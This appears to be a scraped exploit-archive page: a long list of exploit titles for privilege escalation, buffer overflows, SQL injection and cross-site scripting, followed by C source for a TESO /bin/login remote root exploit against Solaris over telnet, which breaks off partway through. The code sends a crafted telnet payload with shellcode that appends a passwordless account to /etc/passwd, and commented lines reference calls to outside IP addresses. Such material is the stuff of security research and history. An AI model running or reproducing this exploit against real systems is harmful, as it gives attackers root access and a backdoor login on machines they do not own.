
65 new exploits Quake 3 Engine Client (Windows x86) - CS_ITEms Remote Overflow Mercur IMAPD 5.00.14 (Windows x86) - Remote Denial of Service PHP 5.2.0 (Windows x86) - (PHP_win32sti) Local Buffer Overflow PHP 5.2.0 (Windows x86) - 'PHP_iisfunc.dll' Local Buffer Overflow 32bit FTP (09.04.24) - 'Banner' Remote Buffer Overflow (PoC) Apple Safari 3.2.3 (Windows x86) - JavaScript (eval) Remote Denial of Service Apple Safari 4.0.3 (Windows x86) - CSS Remote Denial of Service Apple Safari 4.0.3 (Windows x86) - CSS Remote Denial of Service ESET Smart Security 4.2 and NOD32 AntiVirus 4.2 (x32/x64) - LZH archive parsing (PoC) ESET Smart Security 4.2 and NOD32 AntiVirus 4.2 (x86/x64) - LZH archive parsing (PoC) Linux Kernel 2.6.x (x64) - Personality Handling Local Denial of Service VMware Workstations 10.0.0.40273 - 'vmx86.sys' Arbitrary Kernel Read Samba < 3.6.2 (x86) - Denial of Serviec (PoC) Adobe Flash - Bad Dereference at 0x23c on Linux x64 Adobe Flash (Linux x64) - Bad Dereference at 0x23c Linux (x86) - Disable ASLR by Setting the RLIMIT_STACK Resource to Unlimited Core FTP Server 32-bit Build 587 - Heap Overflow Windows 10 x86/x64 WLAN AutoConfig - Denial of Service (POC) Windows 10 (x86/x64) WLAN AutoConfig - Denial of Service (POC) RedHat 6.2 /usr/bin/rcp - SUID Privilege Escalation RedHat 6.2 /usr/bin/rcp - 'SUID' Privilege Escalation Setuid perl - PerlIO_Debug() Root Owned File Creation Privilege Escalation Setuid perl - 'PerlIO_Debug()' Root Owned File Creation Privilege Escalation Wireless Tools 26 (IWConfig) - Privilege Escalation (some setuid) Qpopper 4.0.8 (Linux) - (poppassd) Privilege Escalation Wireless Tools 26 (IWConfig) - Privilege Escalation Qpopper 4.0.8 (Linux) - 'poppassd' Privilege Escalation Navicat Premium 11.2.11 (x64) - Local Database Password Disclosure Rocks Clusters 4.1 - (umount-loop) Privilege Escalation Rocks Clusters 4.1 - (mount-loop) Privilege Escalation Rocks Clusters 4.1 - 'umount-loop' Privilege Escalation Rocks Clusters 4.1 - 'mount-loop' Privilege Escalation PrivateTunnel Client 2.7.0 (x64) - Local Credentials Disclosure Linux Kernel 2.4 / 2.6 (x86-64) - System Call Emulation Privilege Escalation Postfix 2.6-20080814 - (symlink) Privilege Escalation Postfix 2.6-20080814 - 'symlink' Privilege Escalation Oracle Database Vault - ptrace(2) Privilege Escalation Oracle Database Vault - 'ptrace(2)' Privilege Escalation Linux Kernel 2.6.24_16-23 / 2.6.27_7-10 / 2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86_64) - set_selection() UTF-8 Off-by-One Local Exploit Linux Kernel 2.6.24_16-23 / 2.6.27_7-10 / 2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86-64) - set_selection() UTF-8 Off-by-One Local Exploit Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1) Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Privilege Escalation Linux Kernel < 2.6.36-rc4-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Privilege Escalation GNU C Library 2.x (libc6) - Dynamic Linker LD_AUDIT Arbitrary DSO Load (Privilege Escalation) GNU C Library 2.x (libc6) - (Dynamic Linker LD_AUDIT Arbitrary DSO Load) Privilege Escalation Linux Kernel < 2.6.34 (Ubuntu 10.10 x86) - 'CAP_SYS_ADMIN' Privilege Escalation (1) Free Download Manager - Torrent Parsing Buffer Overflow (Metasploit) Free Download Manager 3.0 Build 844 - Torrent Parsing Buffer Overflow (Metasploit) VideoLAN VLC Client (Windows x86) - 'smb://' URI Buffer Overflow (Metasploit) PolicyKit polkit-1 < 0.101 - Linux Privilege Escalation PolicyKit polkit-1 < 0.101 - Privilege Escalation Linux Kernel 2.2.x 2.4.0-test1 (SGI ProPack 1.2/1.3) - Capabilities Privilege Escalation (Sendmail) (1) Linux Kernel 2.2.x 2.4.0-test1 (SGI ProPack 1.2/1.3) - Capabilities Privilege Escalation (Sendmail 8.10.1) (2) Linux Kernel 2.2.x 2.4.0-test1 (SGI ProPack 1.2/1.3) - (Sendmail) Capabilities Privilege Escalation(1) Linux Kernel 2.2.x 2.4.0-test1 (SGI ProPack 1.2/1.3) - (Sendmail 8.10.1) Capabilities Privilege Escalation (2) QNX RTOS 4.25/6.1 - phgrafxPrivilege Escalation QNX RTOS 4.25/6.1 - phgrafx-startup Privilege Escalation QNX RTOS 4.25/6.1 - 'phgrafx' Privilege Escalation QNX RTOS 4.25/6.1 - 'phgrafx-startup' Privilege Escalation Dropbox Desktop Client 9.4.49 (x64) - Local Credentials Disclosure Microsoft Windows 10 10586 (x32/x64) / 8.1 Update 2 - NtLoadKeyEx User Hive Attachment Point Privilege Escalation (MS16-111) Microsoft Windows 10 10586 (x86/x64) / 8.1 Update 2 - NtLoadKeyEx User Hive Attachment Point Privilege Escalation (MS16-111) MySQL 3.23.x - mysqld Privilege Escalation MySQL 3.23.x - 'mysqld' Privilege Escalation Platform Load Sharing Facility 4/5/6 - EAuth Privilege Escalation MTools 3.9.x - MFormat Privilege Escalation Platform Load Sharing Facility 4/5/6 - 'EAuth' Privilege Escalation MTools 3.9.x - 'MFormat' Privilege Escalation Linux Kernel < 3.3.x < 3.7.x (Arch Linux x86-64) - 'sock_diag_handlers[]' Privilege Escalation (1) sudo 1.8.0 < 1.8.3p1 (sudo_debug) - Privilege Escalation + glibc FORTIFY_SOURCE Bypass sudo 1.8.0 < 1.8.3p1 (sudo_debug) - glibc FORTIFY_SOURCE Bypass + Privilege Escalation Linux Kernel < 3.8.9 (x86-64) - 'perf_swevent_init' Privilege Escalation (2) ZABBIX 1.1.4/1.4.2 - daemon_start Privilege Escalation ZABBIX 1.1.4/1.4.2 - 'daemon_start' Privilege Escalation Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10) - 'CONFIG_X86_X32=y' Privilege Escalation (3) LogMeIn Client 1.3.2462 (x64) - Local Credentials Disclosure Systrace 1.x (x64) - Aware Linux Kernel Privilege Escalation Microsoft Windows - NTUserMessageCall Win32k Kernel Pool Overflow 'schlamperei.x86.dll' (MS13-053) (Metasploit) Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Local Echo Race Condition Privilege Escalation Linux Kernel 3.2.0-23 / 3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Privilege Escalation (3) TeamViewer 11.0.65452 (x64) - Local Credentials Disclosure Linux Kernel 3.13 - Privilege Escalation PoC (SGID) Linux Kernel 3.13 - (SGID) Privilege Escalation (PoC) OSSEC 2.8 - hosts.deny Privilege Escalation OSSEC 2.8 - 'hosts.deny' Privilege Escalation Ninja Privilege Escalation Detection and Prevention System 0.1.3 - Race Condition Ninja Privilege Escalation Detection and Prevention System 0.1.3 - Race Condition Privilege Escalation Linux espfix64 - Privilege Escalation (Nested NMIs Interrupting) Linux (x86) - Memory Sinkhole Privilege Escalation (PoC) Linux espfix64 - (Nested NMIs Interrupting) Privilege Escalation Linux (x86) - Memory Sinkhole Privilege Escalation (PoC) RHEL 7.0/7.1 - abrt/sosreport Privilege Escalation RHEL 7.0/7.1 - 'abrt/sosreport' Privilege Escalation MySQL 5.5.45 (x64) - Local Credentials Disclosure Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' in bpf(BPF_PROG_LOAD) Privilege Escalation Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation ACROS Security 0patch 2016.05.19.539 - '0PatchServicex64.exe' Unquoted Service Path Privilege Escalation Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_offset Out-of-Bounds Privilege Escalation Microsoft Windows 7 (x32/x64) - Group Policy Privilege Escalation (MS16-072) Microsoft Windows 7 (x86/x64) - Group Policy Privilege Escalation (MS16-072) Linux Kernel 2.6.32-rc1 (x86-64) - Register Leak Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098) Viscosity 1.6.7 - Privilege Escalation BeroFTPD 1.3.4(1) (Linux/x86) - Remote Code Execution BeroFTPD 1.3.4(1) (Linux x86) - Remote Code Execution Solaris /bin/login (SPARC/x86) - Remote Code Execution gpsdrive 2.09 (x86) - (friendsd2) Remote Format String PrivateWire Gateway 3.7 (Windows x86) - Remote Buffer Overflow (Metasploit) dproxy-nexgen (Linux/x86) - Buffer Overflow dproxy-nexgen (Linux x86) - Buffer Overflow 32bit FTP (09.04.24) - 'CWD Response' Remote Buffer Overflow 32bit FTP (09.04.24) - 'Banner' Remote Buffer Overflow 32bit FTP (09.04.24) - 'CWD Response' Universal Overwrite (SEH) 32bit FTP - 'PASV' Reply Client Remote Overflow (Metasploit) 32bit FTP (09.04.24) - 'CWD Response' Remote Buffer Overflow 32bit FTP (09.04.24) - 'Banner' Remote Buffer Overflow 32bit FTP (09.04.24) - 'CWD Response' Universal Overwrite (SEH) 32bit FTP - 'PASV' Reply Client Remote Overflow (Metasploit) Oracle 9i XDB (Windows x86) - FTP UNLOCK Overflow (Metasploit) AASync 2.2.1.0 (Windows x86) - Stack Buffer Overflow 'LIST' (Metasploit) 32bit FTP Client - Stack Buffer Overflow (Metasploit) Free Download Manager - Remote Control Server Buffer Overflow (Metasploit) Free Download Manager 2.5 Build 758 - Remote Control Server Buffer Overflow (Metasploit) Apache (Windows x86) - Chunked Encoding (Metasploit) PeerCast 0.1216 (Windows x86) - URL Handling Buffer Overflow (Metasploit) CA CAM (Windows x86) - log_security() Stack Buffer Overflow (Metasploit) Samba 3.3.12 (Linux/x86) - 'chain_reply' Memory Corruption (Metasploit) Samba 2.2.8 (Linux x86) - 'trans2open' Overflow (Metasploit) Samba 3.3.12 (Linux x86) - 'chain_reply' Memory Corruption (Metasploit) Samba 2.2.8 (Linux x86) - 'trans2open' Overflow (Metasploit) Samba 2.2.8 (*BSD x86) - 'trans2open' Overflow Exploit (Metasploit) Webmin 0.x - RPC Function Privilege Escalation Webmin 0.x - 'RPC' Function Privilege Escalation Nginx 1.3.9/1.4.0 (x86) - Brute Force Remote Exploit Nginx 1.4.0 (x64) - (Generic Linux) Remote Exploit Nginx 1.4.0 (x64) (Generic Linux) - Remote Exploit technote 7.2 - Remote File Inclusion Technote 7.2 - Remote File Inclusion JAWS 0.2/0.3 - 'index.php' gadget Parameter Traversal Arbitrary File Access JAWS 0.2/0.3 - Cookie Manipulation Authentication Bypass JAWS 0.2/0.3 - 'index.php' action Parameter Cross-Site Scripting Jaws 0.2/0.3 - 'gadget' Parameter Traversal Arbitrary File Access Jaws 0.2/0.3 - Cookie Manipulation Authentication Bypass Jaws 0.2/0.3 - 'action' Parameter Cross-Site Scripting JAWS 0.2/0.3/0.4 - ControlPanel.php SQL Injection Jaws 0.2/0.3/0.4 - ControlPanel.php SQL Injection JAWS Glossary 0.4/0.5 - Cross-Site Scripting Jaws Glossary 0.4/0.5 - Cross-Site Scripting JAWS 0.x - Remote File Inclusion Jaws 0.x - Remote File Inclusion FlatNux 2009-03-27 - Multiple Cross-Site Scripting Vulnerabilities Flatnux 2009-03-27 - Multiple Cross-Site Scripting Vulnerabilities Multiple Netgear Routers - Password Disclosure Video Sharing Script 4.94 - 'uid' Parameter SQL Injection Netman 204 - Backdoor Account / Password Reset
455 lines
14 KiB
C
Executable file
455 lines
14 KiB
C
Executable file
/*
|
||
* 7350963 - /bin/login remote root explot SPARC/x86
|
||
*
|
||
* TESO CONFIDENTIAL - SOURCE MATERIALS
|
||
*
|
||
* This is unpublished proprietary source code of TESO Security.
|
||
*
|
||
* (C) COPYRIGHT TESO Security, 2001
|
||
* All Rights Reserved
|
||
*
|
||
* bug found by scut 2001/12/20
|
||
* thanks to halvar,scut,typo,random,edi,xdr.
|
||
* special thanks to security.is.
|
||
*
|
||
* keep it private!
|
||
* don't distribute!
|
||
*/
|
||
|
||
//#define X86_FULL_PACKAGE
|
||
|
||
#include <stdio.h>
|
||
#include <sys/socket.h>
|
||
#include <sys/types.h>
|
||
#include <netinet/in.h>
|
||
#include <unistd.h>
|
||
#include <stdlib.h>
|
||
|
||
void usage()
|
||
{
|
||
printf("usage: ./7350963 ip_of_the_victim\n");
|
||
}
|
||
|
||
void dump_hex(char *str,char *data,int len)
|
||
{
|
||
int i;
|
||
if(str)
|
||
{
|
||
printf("\n=======%s:%d========\n",str,len);
|
||
}
|
||
else
|
||
{
|
||
printf("\n=======================\n");
|
||
}
|
||
for(i=0; i < len ;i++)
|
||
{
|
||
printf("x%.2x\n", (data[i]&0xff));
|
||
}
|
||
printf("\n-----------------------\n");
|
||
for(i=0; i < len ;i++)
|
||
{
|
||
if(data[i]==0x00)
|
||
{
|
||
printf("|\n");
|
||
}
|
||
else
|
||
{
|
||
printf("%c\n",data[i]);
|
||
}
|
||
}
|
||
printf("\n");
|
||
fflush(stdout);
|
||
}
|
||
|
||
int send_data(int sock,const char *send_data,int send_len)
|
||
{
|
||
int wc;
|
||
int rc;
|
||
char recv_buf[1000];
|
||
|
||
if(send_data && send_len > 0)
|
||
{
|
||
wc=send(sock,send_data,send_len,0);
|
||
}
|
||
rc=recv(sock,recv_buf,sizeof(recv_buf),0);
|
||
|
||
if(rc > 0)
|
||
{
|
||
dump_hex("recv",recv_buf,rc);
|
||
}
|
||
}
|
||
|
||
int main(int argc,char *argv[])
|
||
{
|
||
int sock;
|
||
struct sockaddr_in address;
|
||
int i;
|
||
|
||
char send_data_1[]=
|
||
{
|
||
0xff,0xfd,0x03,
|
||
0xff,0xfb,0x18,
|
||
0xff,0xfb,0x1f,
|
||
0xff,0xfb,0x20,
|
||
0xff,0xfb,0x21,
|
||
0xff,0xfb,0x22,
|
||
0xff,0xfb,0x27,
|
||
0xff,0xfd,0x05,
|
||
0xff,0xfb,0x23
|
||
};
|
||
char send_data_2[]=
|
||
{
|
||
0xff,0xfa,0x1f,0x00,0x50,0x00,0x18,
|
||
0xff,0xf0,
|
||
0xff,0xfc,0x24
|
||
};
|
||
char send_data_3[]=
|
||
{
|
||
0xff,0xfd,0x01,
|
||
0xff,0xfc,0x01
|
||
};
|
||
|
||
char str_buffer[1024*30];
|
||
int str_buffer_pos=0;
|
||
char str_end[2]={0xd,0x0};
|
||
|
||
char *env_str;
|
||
int env_str_len;
|
||
char env_1[4]={0xff,0xfa,0x18,0x00};
|
||
char *terminal_name="xterm-debian";
|
||
char env_2[6]={0xff,0xf0,0xff,0xfa,0x23,0x00};
|
||
char *display="matter:0.0";
|
||
char env_3[7]={0xff,0xf0,0xff,0xfa,0x27,0x00,0x00};
|
||
char *display_var="DISPlAY";
|
||
char display_delimiter[1]={0x01};
|
||
char *display_value="matter:0.0";
|
||
char *environ_str;
|
||
int environ_str_len;
|
||
int env_cur_pos=0;
|
||
int env_num;
|
||
|
||
char env_4[2]={0xff,0xf0};
|
||
char exploit_buffer[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\\r\n";
|
||
char login_buffer[]= "ji1=A ji2=A ji3=A ji4=A ji5=A ji6=A ji7=A ji8=A ji9=Z ji10=z\\\r\n\
|
||
ji11=B ji12=A ji13=A ji14=b ji15=A ji16=A ji17=A ji18=A ji19=B ji20=b\\\r\n\
|
||
ji21=C ji22=A ji23=A ji24=c ji25=A ji26=A ji27=A ji28=A ji29=C ji30=c\\\r\n\
|
||
ji32=D ji32=A ji33=A ji34=d ji35=A ji36=A ji37=A ji38=A ji39=D ji40=d\\\r\n\
|
||
ji41=E ji42=A ji43=A ji44=e j";
|
||
char realfree_edx[]={0x83,0x83,0x83,0x83}; //0xdf9d6361 <realfree+81>: test $0x1,%dl¸¦ ³Ñ±â±â À§Çؼ
|
||
char login_buffer1[]="=A j";
|
||
|
||
#ifdef X86_FULL_PACKAGE
|
||
char t_delete_edi_plus_0x8[]={0x2f,0x80,0x06,0x08};
|
||
#else
|
||
char t_delete_edi_plus_0x8[]={0x27,0x80,0x06,0x08};
|
||
#endif
|
||
char t_delete_edi_plus_0xa[]="=A j";
|
||
char t_delete_edi_plus_0x10[]={0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};
|
||
char login_buffer1_0[]="=A ji48=A j ";
|
||
#ifdef X86_FULL_PACKAGE
|
||
char t_delete_edi_plus_0x20[]={0xf0,0x55,0x6,0x08};
|
||
#else
|
||
char t_delete_edi_plus_0x20[]={0xe8,0x55,0x6,0x08};
|
||
#endif
|
||
char login_buffer1_1[]="=\\\r\n\ji51=F ji52=A ji53=A ji54=f ji55=A ji56=A j=iheol i58=";
|
||
#ifdef X86_FULL_PACKAGE
|
||
char t_delete2_param1[]={0x29,0x80,0x06,0x08};
|
||
#else
|
||
char t_delete2_param1[]={0x21,0x80,0x06,0x08};
|
||
#endif
|
||
char login_buffer1_2[]="6=8";
|
||
char link_pos[]={0x97,0xff,0xff,0xff,0xff,0xff,0xff};
|
||
//ù¹øÂ° A -1 ÀÓ
|
||
char login_buffer2[]="A=AB";
|
||
// 0x080654d4->0x080656ac at 0x000054d4: .got ALLOC LOAD DATA HAS_CONTENTS
|
||
//0x80655a4 <_GLOBAL_OFFSET_TABLE_+208>: 0xdf9bd0b8 <strncpy>
|
||
//(gdb) print/x 0x80655a4 - 0x20
|
||
//$1 = 0x8065584
|
||
#ifdef X86_FULL_PACKAGE
|
||
char t_delete2_edi_plus_0x8[]={0x90,0x55,0x06,0x08}; //strncpy-0x20,ecx
|
||
#else
|
||
char t_delete2_edi_plus_0x8[]={0x84,0x55,0x06,0x08}; //strncpy-0x20,ecx
|
||
#endif
|
||
char login_buffer2_0[]="GHIJ";
|
||
char t_delete2_edi_plus_0x10[]={0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};
|
||
char login_buffer2_1[]="OPQRSTUVWXYZ";
|
||
|
||
//0x806810d <inputline+780>: 'A' <repeats 82 times>, "\n"
|
||
#ifdef X86_FULL_PACKAGE
|
||
char t_delete2_edi_plus_0x20[]={0x06,0x81,0x06,0x08}; //shellcode,eax
|
||
#else
|
||
char t_delete2_edi_plus_0x20[]={0xfe,0x80,0x06,0x08}; //shellcode,eax
|
||
#endif
|
||
|
||
//0x8067e01 <inputline>: "heowahfoihewobhfoiewhiofhoewhofhoeiwhofwhofhiewwhfoiew
|
||
char login_buffer2_2[]="efghijklmnopqrstuvwxyz0123456789A\\\r\n\
|
||
jk11=A jm21=C nj31=A jo41=A pi51=A jq61=A jr71=A js81=g jt91=A ju01=A jv11=A
|
||
jw21=B jy"; //31=A z";//4=A k2=A k3=A k";
|
||
|
||
#ifdef X86_FULL_PACKAGE
|
||
//char strncpy_src[]={0xf9,0x3b,0x05,0x08};
|
||
char strncpy_src[]={0x31,0x80,0x06,0x08};
|
||
|
||
#else
|
||
char strncpy_src[]={0xf1,0x3b,0x05,0x08};
|
||
|
||
#endif
|
||
|
||
char env_buffer[]="hi1=A hi2=A hi3=A hi";
|
||
char pam_input_output_eax[]={0x48,0x8a,0x06,0x08}; //0x8068a48
|
||
char env_buffer0[]="hi5=A hi6=A hi7=A hi";
|
||
|
||
#ifdef X86_FULL_PACKAGE
|
||
char free_dest_buffer[]={0x31,0x80,0x06,0x08};
|
||
|
||
#else
|
||
char free_dest_buffer[]={0x29,0x80,0x06,0x08};
|
||
#endif
|
||
|
||
char env_buffer2[]="zi9=";
|
||
#ifdef X86_FULL_PACKAGE
|
||
char free_dest_buffer2[]={0x31,0x80,0x06,0x08};
|
||
|
||
#else
|
||
char free_dest_buffer2[]={0x29,0x80,0x06,0x08};
|
||
|
||
#endif
|
||
|
||
char exp_buffer0[]="hello";
|
||
char jmp_code[]={0xeb,0xc};
|
||
char exp_buffer1[]="\\\r\nhhhhhhhhhhh";
|
||
char shellcode[]=
|
||
{
|
||
0xeb,0x1d,
|
||
0x5e, /*popl %esi*/
|
||
0x33,0xc0, /*xorl %eax,%eax*/
|
||
0x50, /*pushl %eax - ,0x0*/
|
||
#ifdef X86_FULL_PACKAGE
|
||
0x68,0x46,0x81,0x06,0x08,
|
||
0x68,0x43,0x81,0x06,0x08,
|
||
0x68,0x40,0x81,0x06,0x08,
|
||
0x68,0x38,0x81,0x06,0x08,
|
||
#else
|
||
0x68,0x3e,0x81,0x06,0x08,
|
||
0x68,0x3b,0x81,0x06,0x08,
|
||
0x68,0x38,0x81,0x06,0x08,
|
||
0x68,0x30,0x81,0x06,0x08,
|
||
#endif
|
||
#ifdef X86_FULL_PACKAGE
|
||
0xe8,0x25,0xa0,0xfe,0xff,0xff, /*call execve: 0xfffe9fee*/
|
||
#else
|
||
0xe8,0x2e,0xa0,0xfe,0xff,0xff, /*call execve: 0xfffe9fee*/
|
||
#endif
|
||
0xe8,0xde,0xff,0xff,0xff,0xff,0xff,0xff /*call again*/
|
||
};
|
||
char exec_argv0[]="/bin/sh";
|
||
char exec_argv1[]="sh";
|
||
char exec_argv2[]="-c";
|
||
char exec_argv3[]="/bin/echo met::463:1::/:/bin/sh>>/etc/passwd;";
|
||
//"/bin/echo met::11652::::::>>/etc/shadow;";
|
||
//"/bin/finger @210.111.69.137";
|
||
//211.59.123.155";
|
||
char extra_buffer[]="hihihiifhewiohfiowehfiohweiofhiowehfoihefe\\\r\n";
|
||
#ifdef X86_FULL_PACKAGE
|
||
char free_dest_buffer3[]={0x31,0x80,0x06,0x08};
|
||
#else
|
||
char free_dest_buffer3[]={0x29,0x80,0x06,0x08};
|
||
#endif
|
||
char env_buffer5[]="70=b \\\r\n\hr371=b hs372=";
|
||
char pam_input_output_eax2[]={0xf5,0x3b,0x05,0x08};
|
||
char env_buffer5_0[]="473=";
|
||
char pam_get_authtok_eax[]={0xf6,0x3b,0x05,0x08}; //0x8053bfa Àӽú¯Åë
|
||
char pam_get_data_esi[]={0xa8,0xb1,0x06,0x08};//0x806b1a8 display=""; terminal_name="";
|
||
|
||
if (argc < 2)
|
||
{
|
||
usage();
|
||
exit(-1);
|
||
}
|
||
|
||
env_str_len= sizeof(env_1) + strlen(terminal_name) + sizeof(env_2)+strlen(display) + sizeof(env_3) + strlen(display_var) + sizeof(display_delimiter) + strlen(display_value) + sizeof(env_4);
|
||
|
||
env_str=(char *)calloc(1,env_str_len);
|
||
if(env_str)
|
||
{
|
||
env_cur_pos=0;
|
||
memcpy(env_str+env_cur_pos,env_1,sizeof(env_1));
|
||
env_cur_pos += sizeof(env_1);
|
||
memcpy(env_str + env_cur_pos,terminal_name,strlen(terminal_name));
|
||
env_cur_pos += strlen(terminal_name);
|
||
memcpy(env_str + env_cur_pos,env_2,sizeof(env_2));
|
||
env_cur_pos += sizeof(env_2);
|
||
memcpy(env_str + env_cur_pos,display,strlen(display));
|
||
env_cur_pos += strlen(display);
|
||
memcpy(env_str + env_cur_pos,env_3,sizeof(env_3));
|
||
env_cur_pos += sizeof(env_3);
|
||
memcpy(env_str + env_cur_pos,display_var,strlen(display_var));
|
||
env_cur_pos += strlen(display_var);
|
||
memcpy(env_str + env_cur_pos,display_delimiter,sizeof(display_delimiter));
|
||
env_cur_pos+=sizeof(display_delimiter);
|
||
memcpy(env_str + env_cur_pos,display_value,strlen(display_value));
|
||
env_cur_pos += strlen(display_value);
|
||
memcpy(env_str + env_cur_pos,env_4,sizeof(env_4));
|
||
env_cur_pos += sizeof(env_4);
|
||
}
|
||
|
||
/*socket operation*/
|
||
sock=socket(AF_INET,SOCK_STREAM,0);
|
||
if(sock < 0)
|
||
{
|
||
perror("socket");
|
||
return -1;
|
||
}
|
||
address.sin_family=AF_INET;
|
||
address.sin_port=htons(23);
|
||
//inet_pton(AF_INET,argv[1],&address.sin_addr); //on some system no inet_pton exists
|
||
address.sin_addr.s_addr=inet_addr(argv[1]);
|
||
|
||
if(connect(sock,(struct sockaddr *)&address,sizeof(address))<0)
|
||
{
|
||
perror("connect");
|
||
return -1;
|
||
}
|
||
send_data(sock,NULL,0);
|
||
send_data(sock,send_data_1,sizeof(send_data_1));
|
||
send_data(sock,send_data_2,sizeof(send_data_2));
|
||
|
||
//dump_hex("env",env_str,env_cur_pos);
|
||
send_data(sock,env_str,env_cur_pos);
|
||
free(env_str);
|
||
|
||
send_data(sock,send_data_3,sizeof(send_data_3));
|
||
|
||
str_buffer_pos=0;
|
||
|
||
memcpy(str_buffer + str_buffer_pos,exploit_buffer,strlen(exploit_buffer));
|
||
str_buffer_pos += strlen(exploit_buffer);
|
||
|
||
strcpy(str_buffer + str_buffer_pos,login_buffer);
|
||
str_buffer_pos += strlen(login_buffer);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,realfree_edx,sizeof(realfree_edx));
|
||
str_buffer_pos += sizeof(realfree_edx);
|
||
|
||
strcpy(str_buffer + str_buffer_pos,login_buffer1);
|
||
str_buffer_pos += strlen(login_buffer1);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,t_delete_edi_plus_0x8,sizeof(t_delete_edi_plus_0x8));
|
||
str_buffer_pos += sizeof(t_delete_edi_plus_0x8);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,t_delete_edi_plus_0xa,strlen(t_delete_edi_plus_0xa));
|
||
str_buffer_pos += strlen(t_delete_edi_plus_0xa);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,t_delete_edi_plus_0x10,sizeof(t_delete_edi_plus_0x10));
|
||
str_buffer_pos += sizeof(t_delete_edi_plus_0x10);
|
||
|
||
strcpy(str_buffer + str_buffer_pos,login_buffer1_0);
|
||
str_buffer_pos += strlen(login_buffer1_0);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,t_delete_edi_plus_0x20,sizeof(t_delete_edi_plus_0x20));
|
||
str_buffer_pos += sizeof(t_delete_edi_plus_0x20);
|
||
|
||
strcpy(str_buffer + str_buffer_pos,login_buffer1_1);
|
||
str_buffer_pos += strlen(login_buffer1_1);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,t_delete2_param1,sizeof(t_delete2_param1));
|
||
str_buffer_pos += sizeof(t_delete2_param1);
|
||
|
||
strcpy(str_buffer + str_buffer_pos,login_buffer1_2);
|
||
str_buffer_pos += strlen(login_buffer1_2);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,link_pos,sizeof(link_pos));
|
||
str_buffer_pos += sizeof(link_pos);
|
||
|
||
strcpy(str_buffer + str_buffer_pos,login_buffer2);
|
||
str_buffer_pos += strlen(login_buffer2);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,t_delete2_edi_plus_0x8,sizeof(t_delete2_edi_plus_0x8));
|
||
str_buffer_pos += sizeof(t_delete2_edi_plus_0x8);
|
||
|
||
strcpy(str_buffer + str_buffer_pos,login_buffer2_0);
|
||
str_buffer_pos += strlen(login_buffer2_0);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,t_delete2_edi_plus_0x10,sizeof(t_delete2_edi_plus_0x10));
|
||
str_buffer_pos += sizeof(t_delete2_edi_plus_0x10);
|
||
|
||
strcpy(str_buffer + str_buffer_pos,login_buffer2_1);
|
||
str_buffer_pos += strlen(login_buffer2_1);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,t_delete2_edi_plus_0x20,sizeof(t_delete2_edi_plus_0x20));
|
||
str_buffer_pos += sizeof(t_delete2_edi_plus_0x20);
|
||
|
||
strcpy(str_buffer + str_buffer_pos,login_buffer2_2);
|
||
str_buffer_pos += strlen(login_buffer2_2);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,strncpy_src,sizeof(strncpy_src));
|
||
str_buffer_pos += sizeof(strncpy_src);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,env_buffer,strlen(env_buffer));
|
||
str_buffer_pos += strlen(env_buffer);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,pam_input_output_eax,sizeof(pam_input_output_eax));
|
||
str_buffer_pos += sizeof(pam_input_output_eax);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,env_buffer,strlen(env_buffer0));
|
||
str_buffer_pos += strlen(env_buffer0);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,free_dest_buffer,sizeof(free_dest_buffer));
|
||
str_buffer_pos += sizeof(free_dest_buffer);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,env_buffer2,strlen(env_buffer2));
|
||
str_buffer_pos += strlen(env_buffer2);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,free_dest_buffer2,sizeof(free_dest_buffer2));
|
||
str_buffer_pos += sizeof(free_dest_buffer2);
|
||
|
||
strcpy(str_buffer + str_buffer_pos,exp_buffer0);
|
||
str_buffer_pos += strlen(exp_buffer0);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,jmp_code,sizeof(jmp_code));
|
||
str_buffer_pos += sizeof(jmp_code);
|
||
|
||
strcpy(str_buffer + str_buffer_pos,exp_buffer1);
|
||
str_buffer_pos += strlen(exp_buffer1);
|
||
|
||
memcpy(str_buffer + str_buffer_pos,shellcode,sizeof(shellcode));
|
||
str_buffer_pos += sizeof(shellcode);
|
||
|
||
strcpy(str_buffer + str_buffer_pos,exec_argv0);
|
||
str_buffer_pos += strlen(exec_argv0)+1;
|
||
|
||
strcpy(str_buffer + str_buffer_pos,exec_argv1);
